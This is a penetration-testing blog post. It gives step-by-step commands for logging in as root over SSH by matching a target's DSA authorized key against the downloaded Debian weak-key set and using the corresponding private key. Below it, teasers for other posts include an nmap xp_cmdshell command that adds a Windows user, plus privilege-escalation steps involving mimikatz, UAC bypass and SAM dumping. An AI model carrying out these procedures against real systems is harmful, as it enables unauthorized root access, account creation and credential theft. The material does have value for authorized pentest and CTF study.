Skip to main content

Using SSH-DSS authorized keys to login to SSH Server without password


For this method to work, you need to have the authorized key of the victim machine


cat authorized_keys

ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTs................................ 


SSH-DSS is disabled on new versions of SSH, so you need to enable it
nano /etc/ssh/ssh_config

PubkeyAcceptedKeyTypes +ssh-dss
git clone https://github.com/g0tmi1k/debian-ssh
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2

cd /dss/1024


Copy first few characters from the authorized keys and we going to search for the key from the list of keys we downloaded earlier
grep -lr 'AAAAB3Ndskkdsjhfodsi4m5adsa6d5s8RadSsdsWassd3rhf6gySd2sdS34rW'

you can see some file with random characters with .pub file; ex: e2eb2172a62d0d7e40f210g6167f65ca-12345.pub

But, what we need is not a public key - we need private key to login :)

so, search for it again
ls -la | grep e2eb2172a62d0
Now you can see two files one private key and one public key;

use e2eb2172a62d0d7e40f210g6167f65ca-12345 Private key to login with ssh
chmod 400 e2eb2172a62d0d7e40f210g6167f65ca-12345
ssh -i e2eb2172a62d0d7e40f210g6167f65ca-12345 root@IP_Address 















Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...

Windows Priv Escallation

1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD En...

Forensics & Crypto

Online Decoder --> https://2cyr.com/decode/ Encoding errors -->  https://ftfy.now.sh/ File Signatures List -->  Click here PCAP Analysis: -->  https://www.packettotal.com/ Online Cipher Decryptors: CyberChef  - Cipher Decoder   Crack Station-Hash Cracke r Decrypt Any Kind of Hash 1)  Cipher Statistics 2)  Index of Coincidence Calculator - Online IC Cryptanalysis Tool 3)  Tools List (Awesome and Fantastic Tools) Available on dCode 4)  Solve an Aristocrat or Patristocrat 5)  RSA attack tool (mainly for ctf) - retreive private key from weak public key and/or uncipher data 5-1)  RSA - Find PQ using N 6)  BertNase's Own Hide content in a Image made of blocks - npiet fun! 7)  Vigenere Solver - www.guballa.de 8)  Fernet (Decode) 9)  Unicode Text Steganography Encoders/Decoders 10)  All in ONE encoders and Decoders Tool 11) Cryptii - Decoder Image Forensics: 1)  Forensical...